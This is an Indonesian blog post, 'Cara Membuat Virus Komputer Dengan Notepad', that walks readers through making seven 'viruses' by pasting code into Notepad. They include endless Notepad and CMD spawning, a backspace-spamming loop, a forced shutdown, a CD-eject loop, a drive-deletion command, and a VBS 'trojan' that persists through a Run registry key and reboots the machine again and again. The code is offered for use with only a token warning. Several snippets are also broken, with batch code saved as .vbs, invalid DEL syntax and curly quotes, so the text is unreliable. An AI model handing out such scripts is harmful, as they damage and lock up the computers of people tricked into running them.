Cara Membuat Virus Komputer Dengan Notepad (Lengkap)

January 11, 2016

Membuat suatu virus dengan notepad memang gampang. Kalian bisa mengikuti langkah-langkah yang veniuszero beritahu, namun pesan veniuszero cuma satu yaitu jangan dipergunakan seenaknya. Gunakanlah cara ini dengan bijak dan jangan salahkan admin apabila komputer maupun laptop kalian mengalami kerusakan. Kalian harus selektif memilik cara ini untuk dicobakan di PC masing-masing. Nantinya kalian akan membuat virus tersebut berupa file. File ini akan berfungsi apabila diklik 2 kali. Berikut ini langkah-langkahnya

1. Virus Untuk Membuat Notepad Terbuka Otomatis
- Buka Notepad
- Copy kode dibawah

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

- Tekan CTRL + S
- Beri nama file eror.vbs dan Save as type menjadi All file

2. Virus Untuk Membuat tombol Backspace Eror (Menekan terus menerus)
- Buka Notepad
- Copy kode dibawah

MsgBox "kembali ke menu sebelumnya" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

- Tekan CTRL + S
- Beri nama file backspacehang.vbs dan Save as type menjadi All file

3. Virus Untuk Membuat Komputer Shutdown
- Buka Notepad
- Copy kode dibawah

@echo off msg * I'AM WATCHING YOU! shutdown -c "Error Your PC is Load,.,.," -s\

- Tekan CTRL + S
- Beri nama file jebakan.vbs dan Save as type menjadi All file

4. Virus Untuk Membuat DVD/CD ROOM terbuka sendiri - Buka Notepad
- Copy kode dibawah

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

- Tekan CTRL + S
- Beri nama file binggo.vbs dan Save as type menjadi All file

5. Virus Untuk Memformat Hardisk
- Buka Notepad
- Copy kode dibawah

@echo off DEL C: -Y DEL D: -Y

- Tekan CTRL + S
- Beri nama file hack.vbs dan Save as type menjadi All file

6. Virus Untuk Membuat Komputer Eror (Membuka CMD Yang Banyak)
- Buka Notepad
- Copy kode dibawah

start
start
start
start
start
start
start
start
start
start
start
start

- Tekan CTRL + S
- Beri nama file jangandiklik.vbs dan Save as type menjadi All file

7. Virus Trojan
- Buka Notepad
- Copy kode dibawah

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function